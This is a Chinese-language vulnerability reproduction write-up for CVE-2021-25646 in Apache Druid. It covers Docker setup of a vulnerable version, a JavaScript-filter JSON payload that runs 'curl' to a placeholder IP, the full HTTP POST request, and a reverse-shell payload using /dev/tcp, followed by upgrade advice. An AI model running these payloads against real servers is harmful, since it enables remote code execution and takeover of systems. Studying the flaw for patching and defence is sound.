Apache Druid 远程代码执行漏洞 (CVE-2021-25646)

Apache Druid 远程代码执行漏洞 (CVE-2021-25646)

0x00 前言

首发于timeline sec 团队公众号

阿里云安全向Apache官方报告了Apache Druid远程代码执行漏洞,分配CVE编号为CVE-2021-25646

0x01 漏洞描述


Apache Druid 包括执行用户提供的 JavaScript 的功能嵌入在各种类型请求中的代码。此功能在用于高信任度环境中,默认已被禁用。但是,在 Druid 0.20.0 及更低版本中,经过身份验证的用户可以构造传入的json串来控制一些敏感的参数发送恶意请求,利用 Apache Druid 漏洞可以执行任意代码。

0x02 影响范围

Apache Druid < 0.20.1

0x03 漏洞复现

环境搭建

apache druid:0.16.0

参考现有的低版本druid
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid

漏洞复现

访问8888 端口进入Druid console

在这里插入图片描述


点击Load data -->Local disk在这里插入图片描述

填入

{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('curl ip:8000')}",
"dimension":"added",
"":{
"enabled":"true"
}
}

在这里插入图片描述

对应post包为

POST /druid/indexer/v1/sampler?for=filter HTTP/1.1
Host: tls.com:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=utf-8
Content-Length: 623
Origin: http://tls.com:8888
Connection: close
Referer: http://tls.com:8888/unified-console.html


{"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec('curl yourip:8000')}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"cacheKey":"79a5be988bf94d42a6f219b63ff27383"}}

反弹shell

{
					"type": "javascript",
					"dimension": "added",
					"function": "function(value) {java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/xxx/xxx 0>&1')}",
					"": {
						"enabled": true
					}
				}

0x04 修复建议

升级Apache Druid 到最新的0.20.1版本 https://github.com/apache/druid/releases/tag/druid-0.20.1
对Apache Druid进行权限控制,只允许受信任的主机访问集群服务器


0x05 References

https://github.com/Fokko/docker-druid
https://druid.apache.org/docs/latest/tutorials/index.html

0x06 作者 DesM0nd

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值